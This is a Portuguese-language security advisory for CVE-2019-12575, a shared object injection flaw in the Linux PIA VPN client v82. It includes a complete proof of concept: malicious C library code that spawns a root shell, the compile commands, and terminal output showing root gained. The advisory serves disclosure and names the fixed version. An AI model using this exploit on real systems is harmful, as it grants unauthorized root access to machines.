ASA-2019-00381 – London Trust Media Private Internet Access: Injeção de shared object


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00381

Identificador(es)

ASA-2019-00381, CVE-2019-12575

Título

Injeção de shared object

Fabricante(s)

London Trust Media, Inc

Produto(s)

Private Internet Access (PIA) VPN Client

Versão(ões) afetada(s)

Private Internet Access (PIA) VPN Client para Linux versão v82

Versão(ões) corrigida(s)

Private Internet Access (PIA) VPN Client para Linux versão v1.2.1 ou posterior

Prova de conceito

Sim

Descrição

Uma vulnerabilidade no Private Internet Access (PIA) VPN Client para Linux versão v82 pode permitir que um atacante local autenticado execute código arbitrário com privilégios elevados.

Detalhes técnicos

O binário root_runner.64 do PIA Linux é root setuid. Este binário executa /opt/pia/ruby/64/ruby que por sua vez tenta carregar várias bibliotecas em /tmp/ruby-deploy.old/lib. Um usuário local sem privilégios pode criar uma biblioteca maliciosa sob esse caminho para executar código arbitrário como usuário root.

Todas as etapas são executadas como um usuário com poucos privilégios.

Etapa 1 – Crie o seguinte diretório

mkdir -p /tmp/ruby-deploy/lib/ruby/2.4.0/enc

Passo 2 – Crie woot.c para executar um shell quando carregado

cat >woot.c<<EOF
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void woot(){
    setreuid(0,0);
    execl("/bin/sh","/bin/sh",NULL);
}
EOF

Etapa 3 – Compile a biblioteca mal-intencionada.

gcc -fPIC -o woot.o -Wall -c woot.c
gcc -Wall \
-shared \
-Wl,-soname,encdb.so.so \
-Wl,-init,woot \
-o /tmp/ruby-deploy/lib/ruby/2.4.0/enc/encdb.so.so woot.o

Etapa 4 – Execute root_runner.64

/opt/pia/root_runner/root_runner.64

Exemplo

user1@woot:~$ id
uid=1001(user1) gid=1001(user1) groups=1001(user1)
user1@woot:~$ ./pia-ruby-exploit.sh
+ LIBPATH=/tmp/ruby-deploy/lib/ruby/2.4.0/enc
+ mkdir -p /tmp/ruby-deploy/lib/ruby/2.4.0/enc
+ cat
+ gcc -fPIC -o woot.o -Wall -c woot.c
+ gcc -Wall -shared -Wl,-soname,encdb.so.so -Wl,-init,woot -o /tmp/ruby-deploy/lib/ruby/2.4.0/enc/encdb.so.so woot.o
+ /opt/pia/root_runner/root_runner.64
# id
uid=0(root) gid=1001(user1) groups=1001(user1)
#

Créditos

Rich Mirch

Referência(s)

PIA Linux, macOS Privilege Escalation: Shared Object Injection
https://github.com/mirchr/security-research/blob/master/vulnerabilities/PIA/CVE-2019-12575.txt

CVE-2019-12575
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12575

CVE-2019-12575
https://nvd.nist.gov/vuln/detail/CVE-2019-12575

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 5 agosto 2019

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.